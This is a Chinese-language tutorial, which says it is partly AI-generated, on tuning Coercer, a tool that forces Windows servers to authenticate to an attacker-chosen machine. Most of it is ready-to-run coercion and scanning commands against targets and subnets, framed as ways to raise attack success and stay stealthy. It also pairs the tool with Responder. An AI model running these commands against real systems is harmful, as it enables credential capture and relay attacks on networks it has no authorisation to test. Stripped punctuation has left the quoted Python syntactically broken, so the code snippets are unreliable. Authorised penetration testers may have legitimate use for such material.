Coercer高级配置指南:如何自定义过滤规则和优化攻击效果
Coercer高级配置指南如何自定义过滤规则和优化攻击效果【免费下载链接】CoercerA python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.项目地址: https://gitcode.com/gh_mirrors/co/CoercerCoercer是一款强大的Python脚本工具能够通过12种不同方法自动强制Windows服务器在任意机器上进行身份验证。本文将详细介绍如何通过自定义过滤规则和优化配置来提升Coercer的攻击效果帮助安全测试人员更精准地控制攻击过程。一、自定义过滤规则基础Coercer提供了灵活的过滤机制允许用户根据具体需求筛选攻击方法、协议和管道。过滤功能主要由coercer/core/Filter.py模块实现支持四种核心过滤维度1.1 方法名称过滤--filter-method-name通过方法名称过滤可以指定只使用特定的攻击方法。例如仅测试MS-RPRN协议相关方法python Coercer.py coerce -t 192.168.1.100 --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationFilter类中method_matches_filter方法负责检查方法是否匹配过滤条件通过遍历用户指定的方法列表与攻击实例进行比对def method_matches_filter(self, instance): has_method_filters len(self.filter_method_name) ! 0 # ... if has_method_filters: for method in self.filter_method_name: if method in instance.function[name]: method_match True break1.2 协议名称过滤--filter-protocol-name协议过滤允许用户聚焦于特定的Windows协议如MS-EFSR、MS-RPRN等。例如仅启用MS-EFSR相关方法python Coercer.py scan -t 192.168.1.0/24 --filter-protocol-name MS-EFSR在coercer/core/Filter.py中协议匹配通过检查协议的短名称或长名称实现if (protocol in instance.protocol[shortname]) or ( protocol in instance.protocol[longname] ): protocol_match True break1.3 管道名称过滤--filter-pipe-nameWindows命名管道是远程过程调用的重要载体过滤管道可以减少不必要的网络请求。例如仅测试spoolss管道python Coercer.py fuzz -t 192.168.1.100 --filter-pipe-name spoolss管道过滤逻辑在pipe_matches_filter方法中实现通过简单的字符串包含检查def pipe_matches_filter(self, pipe_name): # ... for pipe in self.filter_pipe_name: if pipe in pipe_name: outcome True return outcome1.4 传输类型过滤--filter-transport-name传输类型过滤允许选择特定的RPC传输方式如msrpc或dcerpc。例如仅使用DCERPC传输python Coercer.py coerce -t 192.168.1.100 --filter-transport-name dcerpc在coercer/__main__.py中可以看到传输过滤在任务执行前的检查逻辑if msrpc not in options.filter_transport_name or try_login( domain, username, password, lmhash, nthash, target ): # 执行攻击任务二、多维度过滤组合策略2.1 逻辑与组合AND当同时指定多个过滤条件时Coercer默认采用逻辑与组合方式只有同时满足所有条件的方法才会被执行。例如筛选MS-RPRN协议中通过spoolss管道的方法python Coercer.py coerce -t 192.168.1.100 \ --filter-protocol-name MS-RPRN \ --filter-pipe-name spoolss这种组合方式在Filter.py的method_matches_filter方法中通过返回method_match and protocol_match实现严格匹配。2.2 按攻击模式应用过滤不同攻击模式扫描/模糊测试/强制认证下过滤规则的应用略有差异扫描模式在coercer/core/modes/scan.py中初始化Filter实例对所有发现的方法进行预筛选模糊测试模式在coercer/core/modes/fuzz.py中对管道列表进行过滤减少测试范围强制认证模式在coercer/core/modes/coerce.py中直接应用过滤规则执行攻击三、攻击效果优化技巧3.1 精准过滤减少网络噪音在大型网络扫描时通过组合过滤规则可以显著减少不必要的网络请求。例如针对特定目标只测试已知有效的方法组合python Coercer.py scan -t 192.168.1.0/24 \ --filter-protocol-name MS-RPRN,MS-EFSR \ --filter-pipe-name spoolss,lsarpc \ --filter-method-name RpcRemoteFindFirstPrinterChangeNotification,EfsRpcOpenFileRaw3.2 基于Responder配置优化响应Coercer的Responder组件coercer/ext/responder/settings.py提供了响应目标控制通过配置RespondTo和DontRespondTo参数可以优化响应策略self.RespondTo list(filter(None, [x.upper().strip() for x in config.get(Responder Core, RespondTo).strip().split(,)])) self.DontRespondTo list(filter(None, [x.upper().strip() for x in config.get(Responder Core, DontRespondTo).strip().split(,)]))编辑Responder.conf文件可以自定义响应规则避免对非目标系统产生不必要的流量。3.3 任务准备阶段的过滤优化在任务准备阶段coercer/core/tasks/prepare.py过滤规则会被应用于方法和管道的选择def prepare_tasks(available_methods, options, filter, mode, portmapNone): # ... if filter.method_matches_filter(instance): # 检查并添加管道 if filter.pipe_matches_filter(namedpipe): tasks.append(...)合理配置过滤规则可以减少任务数量提高执行效率。四、常见过滤场景与示例4.1 渗透测试场景对单一目标进行全面测试但排除已知不脆弱的方法python Coercer.py coerce -t 192.168.1.100 \ --filter-method-name !EfsRpcDecryptFileSrv,!EfsRpcEncryptFileSrv4.2 红队评估场景在大型网络中进行隐蔽扫描仅使用特定协议和管道python Coercer.py scan -t 10.0.0.0/8 \ --filter-protocol-name MS-RPRN \ --filter-pipe-name spoolss \ --threads 504.3 研究验证场景验证特定方法在不同管道上的表现python Coercer.py fuzz -t 192.168.1.100 \ --filter-method-name NetrDfsAddStdRoot \ --filter-pipe-name lsarpc,netdfs,samr五、高级配置文件虽然Coercer主要通过命令行参数进行配置但用户可以通过修改核心过滤逻辑来自定义更复杂的过滤规则。核心过滤实现位于coercer/core/Filter.py主要包含__init__初始化过滤条件method_matches_filter方法和协议过滤逻辑pipe_matches_filter管道过滤逻辑通过扩展此类可以实现基于正则表达式、CVE编号或自定义评分系统的高级过滤机制。六、总结自定义过滤规则是提升Coercer使用效率的关键技巧通过本文介绍的方法名称、协议、管道和传输类型过滤用户可以精准控制攻击范围减少网络噪音提高攻击成功率。结合实际测试场景灵活组合过滤条件并通过Responder配置优化响应策略能够使Coercer在各种安全测试任务中发挥最佳效果。要开始使用这些高级配置首先克隆项目仓库git clone https://gitcode.com/gh_mirrors/co/Coercer cd Coercer详细的命令行参数说明可以通过python Coercer.py --help查看各攻击模式的过滤选项可在对应模式的帮助信息中找到如python Coercer.py coerce --help。【免费下载链接】CoercerA python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.项目地址: https://gitcode.com/gh_mirrors/co/Coercer创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考